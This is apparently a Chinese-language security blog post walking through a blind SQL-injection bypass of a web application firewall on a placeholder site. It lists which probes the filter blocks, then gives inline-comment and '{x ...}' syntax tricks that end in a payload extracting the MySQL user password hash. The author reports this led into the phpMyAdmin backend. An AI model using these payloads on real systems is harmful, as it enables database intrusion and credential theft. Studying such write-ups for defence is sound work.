一次sql注入bypass的思考
请求包:
POST http://www.attack.com?check.php HTTP/1.1
Host: www.attack.com
Connection: keep-alive
Content-Length: 34
Accept: /
Origin: http://www.attack.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.attack.com
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6
type=2&date=2019-06-20&pihao=1
判断注入
首先判断出了date参数这里可以闭合:
date=2019-06-20
date=2019-06-20’
date=2019-06-20’–+
然后看下哪些东西过滤了:1
2
3
4
5
6
7
8and 1=1 //拦截
and ~1=~1 //拦截
and -1=-1 //拦截
or 1=1 //拦截
xor 1=1 //拦截
and 1 between 1 and 2 //拦截
and hex(1)=1 //拦截
and hex(1)=s //不拦截
注释符:1
2
3
4/**/ //不拦截
/*!*/ //不拦截
/*!12345*/ //拦截
(/*!12345*/) //不拦截
猜测,比较等于号两边的值的数值类型
1 | and 1=1 //拦截 |
所以我们可以判断的payload:1
2and 数字=sql语句
and 字符=sql语句
打开mysql:
那么我们最终的猜想就是等号的一边是数值,一边是字符串类型的数字。
用hex()这个函数来判断有个鸡肋,就是转换成的十六进制,但是十六进制只是由0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F16个字符组成,所以后续判断出其他的字符的时候比较的鸡肋,这个函数只能辅助判断是否存在注入点,但是在实战中不推荐使用。
基本信息
首先来判断一下user()的长度:1
2
3' and 1=length(user())--+ //拦截
' and user()--+ //拦截
' and user--+ //不拦截
那么就是user和()之间这个位置要有所动作了:1
2
3#Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;
user%0a()
uSer%0a()
空白字符不行,尝试下内联注释:1
(/*!12345user*/()) //不拦截
所以我们可以判断user()字符的长度了:1
' and 10=length(/*!12345user*/())--+
bypass成功,同理我们可以推断出主机名,数据库名,版本等一些基本的信息
这里我们又遇到了一个问题,上面我们的思路是基于等号两边值的类型不同来注入的,但是当我们遇到字符的时候,就比较的难搞了(当然转换成ascii来判断也是行的,不过找了更好的方式)。
想不到思路了下了一个mysql手册(没思路的时候多看看手册,说不定有新的收获):
在函数和操作符当中,找到了如下的内容:
BlahBlah了一大堆,我们直接来测试一下。
原理就是将等号两端的值转换成二进制进行比较,相等返回1,不同返回0。
1 | ' and binary 'y'='y'--+ //拦截(估计这里是正则匹配了 and = ,下面这条并未被拦截) |
这样我们就可以弄出用户名的值了。
注入密码
按照我们上面的思路,我们要注入出数据,那么我们构造的语句应该是这样的:1
' and binary 'u'=substr((select password from mysql.user limit 0,1),1,1)--+
但是这里被拦截了:1
2select password from //不拦截
select password from mysql.user //拦截
那么就要在from后面做文章了:1
2
3
4
5
6from '' //拦截
from 'mysql'.user //拦截
from 'mysql.user' //拦截
from {} //拦截
from {mysql.user} //拦截
from (/*!12345*/) //拦截
这里想了好久,感觉走到尽头了,完全没办法了。
倒了杯热水,EMMMMMM,突然想到了Mysql的黑魔法:1
Mysql黑魔法: select{x user}from{x mysql.user};
1 | select password from{x mysql.user} //拦截 |
卒。。。。没办法了。。。。
想了老半天,想到之前bypass360zhuji一个版本的时候,from前面不能有空格,就是用了{x table_name}
然后测试下:1
select {x password} from mysql.user //不拦截
倒是成功了 == 奇奇怪怪的
最后的payload:1
' and binary 'u'=substr((select{x password}from mysql.user limit 0,1),2,1)--+
这样就可以爆出mysql的密码了,然后进了phpmyadmin后台,看能否进行下一步的操作。
总结
注入万变不离其宗,多尝试,多思考,多总结,肯定能够有所收获
推荐阅读:
WAF Bypass数据库特性(Mysql探索篇)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:一次sql注入bypass的思考
本文作者:sher10ck
发布时间:2019-07-01, 14:40:13
最后更新:2020-01-13, 13:05:58
原始链接:http://sherlocz.github.io/2019/07/01/一次sql注入bypass的思考/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。